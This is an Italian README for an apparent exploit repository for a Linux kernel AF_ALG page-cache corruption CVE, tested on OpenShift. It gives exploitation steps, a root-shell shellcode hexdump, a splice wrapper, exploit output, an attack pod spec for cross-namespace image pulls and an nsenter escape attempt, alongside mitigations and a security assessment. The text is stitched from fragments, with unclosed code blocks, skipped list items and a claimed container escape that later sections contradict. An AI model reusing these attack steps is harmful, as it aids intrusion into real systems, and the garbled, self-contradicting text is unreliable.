### Da File Locale```bash
python3 exploit.py
su

**Verifica della Cache di Pagina (conferma la corruzione):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

**Conclusione:** Il danneggiamento della page cache riesce, ma l'escalation dei privilegi fallisce.

## Dettagli Tecnici

### Vulnerabilità

L'implementazione di `authencesn` (Authenticated Encryption with Associated Data - Extended Sequence Number) del kernel Linux presenta un difetto nella gestione delle operazioni in-place. Quando si elaborano operazioni AEAD inviate tramite un socket AF_ALG, una pagina della page cache può finire nella scatterlist di destinazione scrivibile del kernel.

### Tecnica di Sfruttamento

1. **Creare un socket AF_ALG** con `authencesn(hmac(sha256),cbc(aes))`
2. **Configurare i parametri AEAD** (chiave, authsize)
3. **Aprire il binario setuid di destinazione** (es. `/usr/bin/su`)
4. **Usare splice()** per portare il binario nella page cache
5. **Attivare l'operazione AEAD in-place** che causa la scrittura nella page cache
6. **Scrivere lo shellcode** 4 byte alla volta
7. **Eseguire il binario modificato** per ottenere root

### Shellcode

L'exploit utilizza uno shellcode di 160 byte che modifica `/usr/bin/su` per:
- Saltare l'autenticazione tramite password
- Concedere l'accesso a una shell root
- Mantenere la funzionalità normale per gli utenti non privilegiati

## Compatibilità con Python 3.9

Python 3.9 e versioni precedenti non dispongono di `os.splice()` nella libreria standard. Questo exploit include un'implementazione basata su ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

### Ambiente di Test 2: Cluster OpenShift Nuovo (Test di Verifica)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configurazione del Nodo:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identico al Test 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verificato)
- UID: 1000810000 (namespace utente)
- Capabilities: 0x0000000000000000 (ZERO)

**Risultati del Test:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Risultato: ✅ **Fuga dal container** - modifica la cache delle pagine dell'host (Device 33, Inode 4288)

**Scenario B: SCC Restricted-v2 (senza hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

### Fase 1: Bypass dell'Isolamento del Namespace

**Vulnerabilità:** Il registry interno di OpenShift consente pull di immagini cross-namespace senza un'adeguata applicazione delle policy RBAC.

**Sfruttamento:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

**Risultato:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

**Dettagli del sistema operativo del container:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

**Opportunità di Movimento Laterale:**
- ✅ Accesso completo a internet (download di strumenti, comunicazione C2, esfiltrazione)
- ✅ Accesso alle API interne (enumerazione delle risorse del cluster)
- ✅ Accesso al registry interno (attacchi di avvelenamento delle immagini)
- ✅ Scansione cross-node tramite la rete dei pod

### Tecniche di Fuga dall'Host Bloccate

Queste tecniche sono state tentate ma bloccate dai controlli di sicurezza di OpenShift:

**1. nsenter (impedito dal namespace utente)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

**3. Caricamento dei moduli del kernel (Nessuna capability + hardening RHCOS)**
- Nessun binario `insmod`, `modprobe`, `kmod` su RHCOS
- `/lib/modules` è vuoto (sistema operativo ottimizzato per container)
- `CAP_SYS_MODULE` non disponibile
- `/proc/sys/kernel/modprobe` montato in sola lettura

**4. cgroup release_agent (Montato in sola lettura)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

### Cosa Abbiamo Effettivamente Ottenuto

✅ **Bypass dell'Isolamento dei Namespace**
- Pull di immagini cross-namespace dal registry interno
- Accesso a immagini di container privilegiate (openshift/cli)

✅ **Corruzione della Page Cache nel Container**
- Modifica della page cache di `/usr/bin/su` del container tramite CVE-2026-31431
- Iniezione di shellcode da 160 byte confermata (visibile nell'hexdump)
- La corruzione influisce sulle operazioni di LETTURA sui file del container

✅ **Accesso di Rete dal Pod**
- Connettività internet completa (exfiltration, C2, download di tool)
- Accesso al server API interno (limitato da RBAC)
- Accesso al registry interno (potenziale avvelenamento delle immagini)
- Scansione cross-pod tramite la rete dei pod

❌ **Escalation dei Privilegi - FALLITA**
- Page cache corrotta ma NESSUN accesso root ottenuto
- UID invariato (UID del namespace utente ~1000000+)
- Impossibile eseguire operazioni privilegiate
- Nessun accesso a /etc/shadow o altri file ristretti

❌ **Accesso al Filesystem dell'Host - FALLITO**
- `/proc/1/root` punta alla root del **container**, NON all'host
- Nessun accesso effettivo al filesystem del nodo worker OpenShift
- Script distribuiti nella `/tmp` del container, non nella `/tmp` dell'host
- L'isolamento Device/Inode impedisce l'accesso alla page cache dell'host

❌ **Escape Completo dall'Host - BLOCCATO**
- Isolamento del namespace utente efficace
- Zero capabilities impediscono nsenter/chroot/accesso all'host
- SCC blocca la creazione di pod privilegiati
- L'hardening di RHCOS impedisce il caricamento dei moduli
- restricted-v2 impedisce l'escape del container

### Valutazione della Sicurezza di OpenShift

**Controlli che Hanno Funzionato ✅**
- Security Context Constraints (SCC) - Hanno impedito l'escape del container
- Namespace Utente - Page cache isolata nell'overlay del container
- Zero Capabilities - Hanno impedito l'accesso all'host nonostante l'exploit del kernel
- Applicazione di SELinux - Isolamento del container mantenuto
- /proc/sys in sola lettura - Tentativi di manipolazione del kernel bloccati
- Hardening di RHCOS - Nessuna capacità di caricamento dei moduli

**Controlli che Hanno Funzionato Parzialmente ⚠️**
- Seccomp RuntimeDefault - Attivo ma consente socket AF_ALG
- Rimozione delle Capabilities - Efficace ma non previene la corruzione della page cache

**Controlli che Hanno Fallito ❌**
- RBAC dei Namespace - Pull di immagini cross-namespace consentito
- Protezione del Kernel - Interfaccia AF_ALG accessibile dai container
- Filtraggio delle Syscall - splice() non limitata dal seccomp predefinito

**Valutazione Complessiva:**
Sebbene CVE-2026-31431 sia una reale vulnerabilità del kernel, l'approccio di difesa in profondità di OpenShift (SCC + namespace utente + rimozione delle capabilities + isolamento del filesystem) ha impedito uno sfruttamento significativo. L'exploit corrompe la page cache ma NON ottiene alcuna escalation dei privilegi o escape del container dai pod restricted-v2.

### Raccomandazioni per OpenShift

**1. Bloccare i Socket AF_ALG**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

**3. Profilo Seccomp Potenziato**
Blocca le syscall pericolose:
- `socket(AF_ALG, ...)` - Famiglia 38
- Limita `splice()` ai descrittori di file attendibili
- Blocca `init_module`, `finit_module` se non già bloccati

**4. Monitoraggio in Tempo Reale**
Avvisa su:
- Creazione di socket AF_ALG nei container
- Pull di immagini cross-namespace
- Pattern sospetti di syscall `splice()`
- Indicatori di compromissione del container (processi root inattesi)

### Documentazione Completa dell'Attacco

Per la documentazione completa della catena di attacco, inclusi:
- Cronologia dello sfruttamento
- Mappature MITRE ATT&CK
- Analisi tecnica dettagliata
- Tutti gli script di ricognizione

Vedi:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - Analisi dettagliata di cosa ha funzionato e cosa no
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - Documentazione originale (contiene errori, vedi attacks/README.md per le correzioni)

## Mitigazioni

### Immediata```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

### Patch del kernel

Applicare le patch del fornitore:
- Red Hat: Monitorare https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- Upstream: Kernel 6.x+ con authencesn ripristinato alle operazioni out-of-place

## Domande frequenti

### D: Questo exploit mi dà accesso root?

**R:** NO - In base a test approfonditi sui kernel RHEL 9.6 (5.14.0-570.96.1), l'exploit corrompe con successo la page cache del kernel ma NON ottiene l'escalation dei privilegi. L'UID rimane invariato dopo l'esecuzione del binario backdoorato.

### D: Posso evadere da un container Kubernetes/OpenShift ristretto?

**R:** NO (con SCC restricted-v2) - La corruzione della page cache è isolata al filesystem overlay del container. L'evasione dal container richiede l'accesso a risorse host condivise tramite volumi hostPath o simili. L'SCC restricted-v2 previene efficacemente l'evasione bloccando l'accesso alle risorse host.

### D: Perché l'exploit dichiara "root" ma i test mostrano che non funziona?

**R:** Il codice dell'exploit è stato scritto sulla base della divulgazione CVE e dell'analisi teorica. I nostri test nel mondo reale sui kernel RHEL 9.6 hanno rivelato:
- La corruzione della page cache funziona ✅ (provata tramite hexdump)
- L'esecuzione di codice dalla cache corrotta NON funziona ❌ (UID invariato)

Ciò potrebbe essere dovuto a:
- Differenze di versione del kernel (RHEL 9.6 potrebbe avere protezioni)
- Applicazione della protezione della memoria W^X
- Percorsi di codice diversi tra memoria di esecuzione e di lettura

### D: Funziona su TUTTI i kernel Linux?

**R:** SCONOSCIUTO - I test sono stati limitati a:
- RHEL CoreOS 9.6 (kernel 5.14.0-570.96.1.el9_6.x86_64)
- Nodi worker OpenShift 4.20.16

Il comportamento su altre distribuzioni/versioni del kernel NON è stato verificato. Le condizioni originali della ricerca CVE potrebbero differire.

### D: Dovrei comunque applicare la patch ai miei sistemi?

**R:** SÌ - Assolutamente. Anche se l'escalation dei privilegi non è stata ottenuta:

1. La vulnerabilità del kernel È reale (corruzione della page cache confermata)
2. Il comportamento POTREBBE differire su altre versioni del kernel
3. Con volumi hostPath, l'evasione dal container È possibile
4. La difesa in profondità richiede l'eliminazione di tutte le vulnerabilità
5. Ricerche future potrebbero scoprire modi per ottenere l'esecuzione di codice

L'applicazione della patch al kernel è obbligatoria per la sicurezza.

### D: Cosa avete effettivamente dimostrato nei vostri test?

**R:** I nostri test completi su 2 cluster OpenShift indipendenti hanno dimostrato:

✅ **Confermato:**
- La vulnerabilità del kernel CVE-2026-31431 è sfruttabile
- La page cache può essere corrotta da container non privilegiati (zero capabilities)
- L'interfaccia AF_ALG è accessibile nonostante l'SCC restricted-v2
- L'iniezione di shellcode riesce (visibile nell'hexdump)

❌ **NON Ha Funzionato:**
- Escalation dei privilegi (UID invariato)
- Esecuzione di codice dalla page cache corrotta
- Evasione dal container da pod restricted-v2
- Accesso al filesystem host senza hostPath

🛡️ **Difesa in profondità efficace:**
- SCC + user namespaces + rimozione delle capabilities hanno prevenuto lo sfruttamento
- Molteplici livelli di sicurezza hanno limitato il raggio d'esplosione
- L'isolamento del container ha retto nonostante la vulnerabilità del kernel

## Avviso di sicurezza

Questo repository documenta una vulnerabilità del kernel per:
- ✅ Test di sicurezza e ricerca autorizzati
- ✅ Validazione e analisi delle vulnerabilità
- ✅ Consapevolezza ed educazione sulla sicurezza
- ✅ Sviluppo di misure difensive

**Risultati basati su:**
- Test controllati su sistemi autorizzati
- Molteplici ambienti cluster indipendenti
- Verifica completa e test di riproducibilità

**NON utilizzare su sistemi senza autorizzazione esplicita.**

## Riferimenti

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Divulgazione:** https://copy.fail
- **Patch del kernel:** Commit del kernel Linux (1 aprile 2026)
- **Advisory Red Hat:** https://access.redhat.com/security/cve/cve-2026-31431

## Crediti

- **Scoperta CVE:** Taeyang Lee (Theori)
- **Analisi originale:** Xint Code Research Team
- **Implementazione dell'exploit:** Sean Rickerd
- **Test e validazione completi:** Sean Rickerd
  - 2 cluster OpenShift 4.20.16 indipendenti
  - Kernel RHEL CoreOS 9.6 5.14.0-570.96.1
  - Comportamento reale vs. dichiarato documentato
  - Efficacia dell'SCC restricted-v2 verificata

## Licenza

Solo per test di sicurezza e ricerca autorizzati. Utilizzo a proprio rischio.

---

**Stato del repository:** Aggiornato con risultati di test nel mondo reale (1 maggio 2026)  
**Test:** Completati su 2 cluster OpenShift indipendenti  
**Risultato chiave:** Corruzione della page cache confermata, escalation dei privilegi NON ottenuta  
**Raccomandazione:** Applicare la patch al kernel nonostante lo sfruttamento pratico limitato